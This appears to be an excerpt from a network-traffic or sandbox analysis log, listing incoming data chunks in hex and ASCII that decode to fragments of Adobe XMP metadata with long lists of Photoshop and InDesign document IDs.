2022-07-20 17:31:06 UTC	943	IN	Data Raw: 64 66 3a 6c 69 3e 38 38 39 42 33 31 41 46 38 35 32 46 38 38 45 35 38 46 32 38 31 34 46 46 34 38 32 36 39 38 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 41 32 43 46 46 39 32 42 32 31 38 42 46 45 37 37 33 41 44 34 36 34 39 38 43 44 42 46 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 41 39 37 43 32 37 43 37 45 42 33 42 38 41 43 44 39 45 30 33 34 33 33 45 37 33 44 44 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 41 41 45 33 44 31 32 30 35 35 34 32 36 42 46 38 30 43 30 37 41 31 41 30 46 31 39 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 41 42 37 46 33 46 30 41 31 45 46 37 36 46 35 42 37 39 44 38 46 46 46 42 46 30 31 34 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>889B31AF852F88E58F2814FF48269800</rdf:li> <rdf:li>88A2CFF92B218BFE773AD46498CDBF93</rdf:li> <rdf:li>88A97C27C7EB3B8ACD9E03433E73DD54</rdf:li> <rdf:li>88AAE3D12055426BF80C07A1A0F19C46</rdf:li> <rdf:li>88AB7F3F0A1EF76F5B79D8FFFBF01477</rdf:li> <rdf:li
2022-07-20 17:31:06 UTC	975	IN	Data Raw: 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 43 35 34 42 41 45 41 32 34 42 44 30 42 37 39 46 31 36 36 36 32 31 46 33 35 43 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 43 Data Ascii: >971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</rdf:li> <rdf:li>974C54BAEA24BD0B79F166621F35C394</rdf:li> <rdf:li>974C
2022-07-20 17:31:06 UTC	983	IN	Data Raw: 44 30 46 44 38 38 38 45 35 41 34 37 42 30 46 36 39 33 39 43 39 32 34 33 32 45 34 37 46 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 31 33 31 36 36 33 30 38 36 43 34 35 38 33 41 30 41 43 36 31 34 35 34 45 42 35 46 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 33 41 30 46 36 41 34 43 30 36 30 44 42 37 32 35 46 34 32 31 42 43 39 37 34 43 33 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 33 41 39 34 44 31 33 36 45 39 46 44 30 43 42 38 33 36 46 30 32 39 38 33 34 46 38 36 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 34 43 46 38 37 33 35 31 42 43 33 38 30 38 32 38 31 37 31 43 32 45 31 43 44 46 35 34 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 36 34 31 41 Data Ascii: D0FD888E5A47B0F6939C92432E47F05</rdf:li> <rdf:li>9D2131663086C4583A0AC61454EB5F6D</rdf:li> <rdf:li>9D3A0F6A4C060DB725F421BC974C3D72</rdf:li> <rdf:li>9D3A94D136E9FD0CB836F029834F86C1</rdf:li> <rdf:li>9D4CF87351BC380828171C2E1CDF5459</rdf:li> <rdf:li>9D641A
2022-07-20 17:31:06 UTC	1047	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 39 34 41 45 31 46 35 31 42 44 34 45 39 31 35 44 34 43 31 31 44 37 32 45 41 43 46 37 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 39 36 35 35 32 30 41 46 43 35 33 33 31 45 36 34 39 43 46 31 43 45 38 30 46 32 36 44 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 39 36 45 38 41 37 34 44 42 43 38 37 31 35 30 38 35 38 36 42 42 41 41 32 33 46 44 39 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 39 38 36 45 43 33 44 35 31 46 39 36 31 45 41 44 30 44 30 43 41 41 39 37 31 41 36 36 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 41 44 41 42 31 35 42 34 38 30 39 39 46 41 34 34 39 38 35 34 34 45 46 46 37 41 38 43 35 46 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>AA94AE1F51BD4E915D4C11D72EACF733</rdf:li> <rdf:li>AA965520AFC5331E649CF1CE80F26D43</rdf:li> <rdf:li>AA96E8A74DBC871508586BBAA23FD971</rdf:li> <rdf:li>AA986EC3D51F961EAD0D0CAA971A66DF</rdf:li> <rdf:li>AAADAB15B48099FA4498544EFF7A8C5F</rdf:li
2022-07-20 17:31:06 UTC	1082	IN	Data Raw: 36 36 39 32 42 43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 33 43 43 46 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 36 42 44 45 34 37 35 35 34 36 42 31 36 34 35 41 43 37 43 45 31 36 32 39 44 36 34 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 37 34 31 32 42 35 37 32 38 33 43 32 32 46 43 41 44 41 32 44 36 36 46 32 43 31 42 45 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 37 43 36 34 43 31 44 34 43 43 37 33 35 37 38 34 46 33 39 31 36 33 Data Ascii: 6692BCC3377CA</rdf:li> <rdf:li>B832D347D4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F3CCFC3</rdf:li> <rdf:li>B86BDE475546B1645AC7CE1629D64516</rdf:li> <rdf:li>B87412B57283C22FCADA2D66F2C1BE82</rdf:li> <rdf:li>B87C64C1D4CC735784F39163
2022-07-20 17:31:06 UTC	1090	IN	Data Raw: 39 39 46 41 35 42 42 42 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 38 35 30 43 30 44 38 46 33 43 30 34 35 45 35 34 42 39 33 37 32 37 30 30 42 37 37 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 39 44 32 44 45 38 41 34 37 36 34 31 30 42 35 44 41 45 44 41 30 36 33 32 42 30 39 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 41 37 41 32 46 38 35 31 35 38 34 44 33 32 45 45 37 38 44 34 41 36 41 43 33 42 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 43 35 43 35 42 42 38 45 39 45 33 38 35 41 44 39 42 41 34 35 38 38 37 44 41 32 39 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 32 46 46 33 44 31 31 35 46 43 43 41 34 46 38 45 46 32 38 33 45 31 46 36 Data Ascii: 99FA5BBBDDD</rdf:li> <rdf:li>BF1850C0D8F3C045E54B9372700B7773</rdf:li> <rdf:li>BF19D2DE8A476410B5DAEDA0632B0906</rdf:li> <rdf:li>BF1A7A2F851584D32EE78D4A6AC3BF9A</rdf:li> <rdf:li>BF1C5C5BB8E9E385AD9BA45887DA29B4</rdf:li> <rdf:li>BF2FF3D115FCCA4F8EF283E1F6
2022-07-20 17:31:06 UTC	1149	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 43 30 35 30 32 43 45 46 37 38 31 34 41 32 36 38 45 45 35 39 41 30 35 36 36 33 43 39 38 34 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 35 41 39 39 45 30 43 41 42 35 31 33 30 41 46 36 34 41 44 38 34 44 37 46 34 34 39 33 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 35 45 38 37 41 42 44 35 37 31 36 39 37 43 30 46 41 46 46 34 30 41 39 42 30 44 45 41 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 37 33 35 38 34 37 43 32 42 31 37 44 39 32 34 30 30 39 38 38 46 30 31 39 32 41 31 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 39 41 46 45 31 34 36 34 30 31 36 46 33 31 37 31 33 42 35 38 38 33 44 44 46 39 38 35 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>C0502CEF7814A268EE59A05663C9842A</rdf:li> <rdf:li>C05A99E0CAB5130AF64AD84D7F449347</rdf:li> <rdf:li>C05E87ABD571697C0FAFF40A9B0DEA99</rdf:li> <rdf:li>C0735847C2B17D92400988F0192A1D14</rdf:li> <rdf:li>C09AFE1464016F31713B5883DDF98575</rdf:li> <rdf
2022-07-20 17:31:06 UTC	1181	IN	Data Raw: 3a 6c 69 3e 43 44 39 39 33 43 46 44 44 45 35 32 35 44 44 45 44 46 45 46 31 39 42 43 36 45 31 33 44 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 41 37 41 31 43 41 36 38 42 36 45 31 37 39 38 37 45 43 45 32 36 33 32 37 45 33 41 30 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 41 42 43 31 39 37 32 37 44 43 42 30 34 43 35 37 45 41 35 45 41 38 35 45 31 33 44 35 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 41 43 31 31 46 36 30 30 31 44 37 41 39 37 39 31 39 31 36 31 39 42 35 38 42 33 35 45 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 41 44 42 41 35 35 43 46 32 30 44 39 41 36 34 32 45 33 35 33 37 39 43 41 35 38 45 35 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 Data Ascii: :li>CD993CFDDE525DDEDFEF19BC6E13DECE</rdf:li> <rdf:li>CDA7A1CA68B6E17987ECE26327E3A071</rdf:li> <rdf:li>CDABC19727DCB04C57EA5EA85E13D5B7</rdf:li> <rdf:li>CDAC11F6001D7A979191619B58B35E3D</rdf:li> <rdf:li>CDADBA55CF20D9A642E35379CA58E515</rdf:li> <rdf:li>C
2022-07-20 17:31:06 UTC	1197	IN	Data Raw: 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 33 37 34 41 38 31 44 42 38 30 34 38 32 45 39 34 38 35 37 34 38 35 36 44 37 33 45 31 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 34 35 46 41 34 42 35 39 38 37 38 33 31 31 37 45 42 37 42 42 32 39 32 32 42 43 42 34 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 34 38 30 42 34 36 43 30 39 37 32 30 45 43 32 32 45 35 34 32 39 44 39 37 44 41 34 38 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 34 44 36 30 35 32 42 32 32 42 36 42 41 39 31 36 43 46 32 44 37 31 38 41 45 30 30 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 42 45 46 33 44 38 33 44 35 34 37 31 39 36 31 39 32 34 34 46 41 31 45 31 32 36 39 33 44 3c 2f 72 Data Ascii: 69</rdf:li> <rdf:li>DB374A81DB80482E948574856D73E1DF</rdf:li> <rdf:li>DB45FA4B598783117EB7BB2922BCB4C8</rdf:li> <rdf:li>DB480B46C09720EC22E5429D97DA48AA</rdf:li> <rdf:li>DB54D6052B22B6BA916CF2D718AE005B</rdf:li> <rdf:li>DB5BEF3D83D54719619244FA1E12693D</r
2022-07-20 17:31:06 UTC	1243	IN	Data Raw: 34 34 32 38 46 33 46 43 36 33 37 34 31 39 42 41 44 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 41 42 41 30 43 45 32 41 32 32 38 37 41 31 38 36 33 32 41 39 37 43 38 30 34 36 35 31 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 41 45 43 41 41 46 39 30 35 42 36 32 42 34 46 32 41 35 41 30 30 44 35 41 44 39 36 42 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 42 32 42 36 31 37 32 44 41 46 46 31 33 42 46 37 38 30 31 35 33 37 34 32 43 35 37 31 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 42 33 41 45 43 31 42 45 44 36 42 39 38 42 41 37 35 46 46 45 31 31 46 39 46 38 39 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 30 43 43 43 30 35 46 32 41 41 32 43 32 37 42 32 Data Ascii: 4428F3FC637419BAD01D</rdf:li> <rdf:li>E0ABA0CE2A2287A18632A97C804651B5</rdf:li> <rdf:li>E0AECAAF905B62B4F2A5A00D5AD96B4F</rdf:li> <rdf:li>E0B2B6172DAFF13BF780153742C571EE</rdf:li> <rdf:li>E0B3AEC1BED6B98BA75FFE11F9F890DE</rdf:li> <rdf:li>E0CCC05F2AA2C27B2
2022-07-20 17:31:06 UTC	1259	IN	Data Raw: 3a 6c 69 3e 45 43 39 43 37 46 36 34 35 36 30 35 45 38 41 39 45 44 42 43 42 31 42 37 39 34 32 39 38 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 39 44 41 41 30 31 34 35 31 32 38 46 44 41 31 39 30 41 44 39 45 46 34 39 38 45 46 43 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 42 31 39 44 41 30 34 37 33 42 39 39 42 30 46 31 38 44 34 30 34 36 44 34 31 44 33 43 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 42 46 31 43 34 33 45 44 45 33 46 45 44 30 41 41 36 33 44 39 33 30 39 35 43 37 46 42 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 45 30 35 39 30 39 43 46 46 33 33 38 33 30 39 42 42 46 32 39 31 43 37 39 43 46 44 30 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 Data Ascii: :li>EC9C7F645605E8A9EDBCB1B794298E61</rdf:li> <rdf:li>EC9DAA0145128FDA190AD9EF498EFC53</rdf:li> <rdf:li>ECB19DA0473B99B0F18D4046D41D3CA5</rdf:li> <rdf:li>ECBF1C43EDE3FED0AA63D93095C7FB7D</rdf:li> <rdf:li>ECE05909CFF338309BBF291C79CFD0BB</rdf:li> <rdf:li>E
2022-07-20 17:31:06 UTC	1275	IN	Data Raw: 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 Data Ascii: 0B</rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A5355946CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A027F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</r
2022-07-20 17:31:06 UTC	1314	IN	Data Raw: 3a 69 6e 64 64 3a 37 30 64 35 31 64 62 34 2d 64 34 38 31 2d 31 31 65 30 2d 61 34 38 64 2d 65 36 31 66 36 32 32 35 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 37 64 64 64 31 64 62 35 2d 33 36 39 66 2d 31 31 64 66 2d 62 30 35 34 2d 64 38 32 65 66 34 33 30 39 39 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 37 66 65 33 30 33 35 62 2d 37 34 38 35 2d 31 31 64 66 2d 62 37 63 61 2d 66 33 36 34 61 39 34 62 62 63 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 61 31 62 65 39 38 35 33 2d 61 33 30 32 2d 31 31 65 30 2d 39 39 66 36 2d 62 61 63 63 63 33 35 66 39 61 36 38 Data Ascii: :indd:70d51db4-d481-11e0-a48d-e61f62258aaf</rdf:li> <rdf:li>adobe:docid:indd:7ddd1db5-369f-11df-b054-d82ef4309999</rdf:li> <rdf:li>adobe:docid:indd:7fe3035b-7485-11df-b7ca-f364a94bbcec</rdf:li> <rdf:li>adobe:docid:indd:a1be9853-a302-11e0-99f6-baccc35f9a68
2022-07-20 17:31:06 UTC	1338	IN	Data Raw: 31 65 37 66 34 66 2d 61 39 33 33 2d 31 31 65 37 2d 38 34 63 31 2d 38 36 32 33 62 39 36 38 66 63 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 32 34 31 38 33 32 2d 37 36 63 62 2d 31 31 37 38 2d 39 38 31 62 2d 66 30 36 30 66 35 32 31 62 66 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 33 61 61 63 34 63 2d 34 37 39 38 2d 31 31 65 36 2d 38 38 39 63 2d 66 30 62 62 63 65 38 34 38 31 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 34 62 62 63 65 32 2d 65 66 32 36 2d 31 31 65 34 2d 61 39 35 36 2d 63 30 39 66 35 Data Ascii: 1e7f4f-a933-11e7-84c1-8623b968fcc3</rdf:li> <rdf:li>adobe:docid:photoshop:36241832-76cb-1178-981b-f060f521bf63</rdf:li> <rdf:li>adobe:docid:photoshop:363aac4c-4798-11e6-889c-f0bbce84811d</rdf:li> <rdf:li>adobe:docid:photoshop:364bbce2-ef26-11e4-a956-c09f5
2022-07-20 17:31:06 UTC	1354	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 31 39 62 33 62 64 2d 66 33 31 38 2d 31 31 37 39 2d 38 61 36 37 2d 61 32 31 66 37 32 34 64 39 63 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 38 36 39 65 65 31 2d 37 66 64 65 2d 31 31 65 31 2d 39 32 64 34 2d 63 34 35 61 37 65 37 39 32 66 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 61 64 36 37 30 30 2d 38 64 64 34 2d 31 31 65 31 2d 61 30 62 66 2d 63 34 65 65 33 38 38 35 64 61 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 Data Ascii: <rdf:li>adobe:docid:photoshop:6319b3bd-f318-1179-8a67-a21f724d9c99</rdf:li> <rdf:li>adobe:docid:photoshop:63869ee1-7fde-11e1-92d4-c45a7e792fc4</rdf:li> <rdf:li>adobe:docid:photoshop:63ad6700-8dd4-11e1-a0bf-c4ee3885da62</rdf:li> <rdf:li>adobe:docid:photosh
2022-07-20 17:31:06 UTC	1386	IN	Data Raw: 2d 39 61 35 30 2d 62 31 34 31 36 62 37 39 36 65 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 38 64 33 39 33 39 39 2d 37 64 35 37 2d 31 31 65 31 2d 39 61 35 30 2d 62 31 34 31 36 62 37 39 36 65 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 38 64 33 39 33 39 62 2d 37 64 35 37 2d 31 31 65 31 2d 39 61 35 30 2d 62 31 34 31 36 62 37 39 36 65 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 38 64 35 38 66 34 63 2d 32 39 66 32 2d 31 31 65 37 2d 62 62 33 63 2d 38 65 63 38 33 62 38 34 31 38 62 38 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: -9a50-b1416b796ec0</rdf:li> <rdf:li>adobe:docid:photoshop:78d39399-7d57-11e1-9a50-b1416b796ec0</rdf:li> <rdf:li>adobe:docid:photoshop:78d3939b-7d57-11e1-9a50-b1416b796ec0</rdf:li> <rdf:li>adobe:docid:photoshop:78d58f4c-29f2-11e7-bb3c-8ec83b8418b8</rdf:li>
2022-07-20 17:31:06 UTC	1402	IN	Data Raw: 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 62 64 31 32 37 63 39 2d 38 34 31 33 2d 31 31 37 62 2d 62 37 36 66 2d 62 63 35 62 38 63 31 34 62 66 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 33 36 32 61 62 32 2d 30 33 63 64 2d 31 31 65 36 2d 61 34 32 62 2d 38 39 39 65 63 30 31 30 38 66 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 37 30 30 33 37 34 2d 38 65 31 62 2d 31 31 37 37 2d 61 38 33 63 2d 63 31 62 62 63 63 30 63 30 30 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 38 38 65 30 37 63 2d 65 38 38 36 Data Ascii: cid:photoshop:abd127c9-8413-117b-b76f-bc5b8c14bf9b</rdf:li> <rdf:li>adobe:docid:photoshop:ac362ab2-03cd-11e6-a42b-899ec0108f6e</rdf:li> <rdf:li>adobe:docid:photoshop:ac700374-8e1b-1177-a83c-c1bbcc0c0065</rdf:li> <rdf:li>adobe:docid:photoshop:ac88e07c-e886
2022-07-20 17:31:06 UTC	1434	IN	Data Raw: 38 36 31 64 62 63 35 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 38 30 36 37 65 33 2d 66 66 30 31 2d 62 35 34 35 2d 38 65 32 30 2d 64 39 63 30 35 33 33 62 34 32 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 61 31 62 39 63 62 2d 63 65 63 36 2d 31 31 64 39 2d 62 33 36 32 2d 65 62 35 63 38 31 61 66 36 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 63 36 30 62 33 37 2d 38 32 32 64 2d 63 33 34 61 2d 62 64 38 30 2d 33 31 34 33 34 64 64 61 61 38 66 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 861dbc5fa</rdf:li> <rdf:li>adobe:docid:photoshop:e38067e3-ff01-b545-8e20-d9c0533b4252</rdf:li> <rdf:li>adobe:docid:photoshop:e3a1b9cb-cec6-11d9-b362-eb5c81af611e</rdf:li> <rdf:li>adobe:docid:photoshop:e3c60b37-822d-c34a-bd80-31434ddaa8f4</rdf:li> <rdf:li>
2022-07-20 17:31:06 UTC	1441	IN	Data Raw: 3a 66 62 34 33 30 64 61 66 2d 66 35 65 30 2d 37 31 34 35 2d 62 36 34 38 2d 61 66 33 34 38 35 30 34 33 37 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 35 37 30 30 33 30 2d 32 63 62 61 2d 31 31 64 62 2d 39 64 35 62 2d 66 65 37 66 62 63 34 31 65 64 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 64 32 61 35 36 39 2d 36 34 64 62 2d 31 31 65 37 2d 39 61 37 36 2d 64 32 38 34 64 39 66 34 33 66 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 65 30 64 32 32 36 2d 38 33 36 64 2d 31 31 64 63 2d 62 62 63 36 2d 66 66 Data Ascii: :fb430daf-f5e0-7145-b648-af34850437e9</rdf:li> <rdf:li>adobe:docid:photoshop:fb570030-2cba-11db-9d5b-fe7fbc41edfc</rdf:li> <rdf:li>adobe:docid:photoshop:fbd2a569-64db-11e7-9a76-d284d9f43f45</rdf:li> <rdf:li>adobe:docid:photoshop:fbe0d226-836d-11dc-bbc6-ff
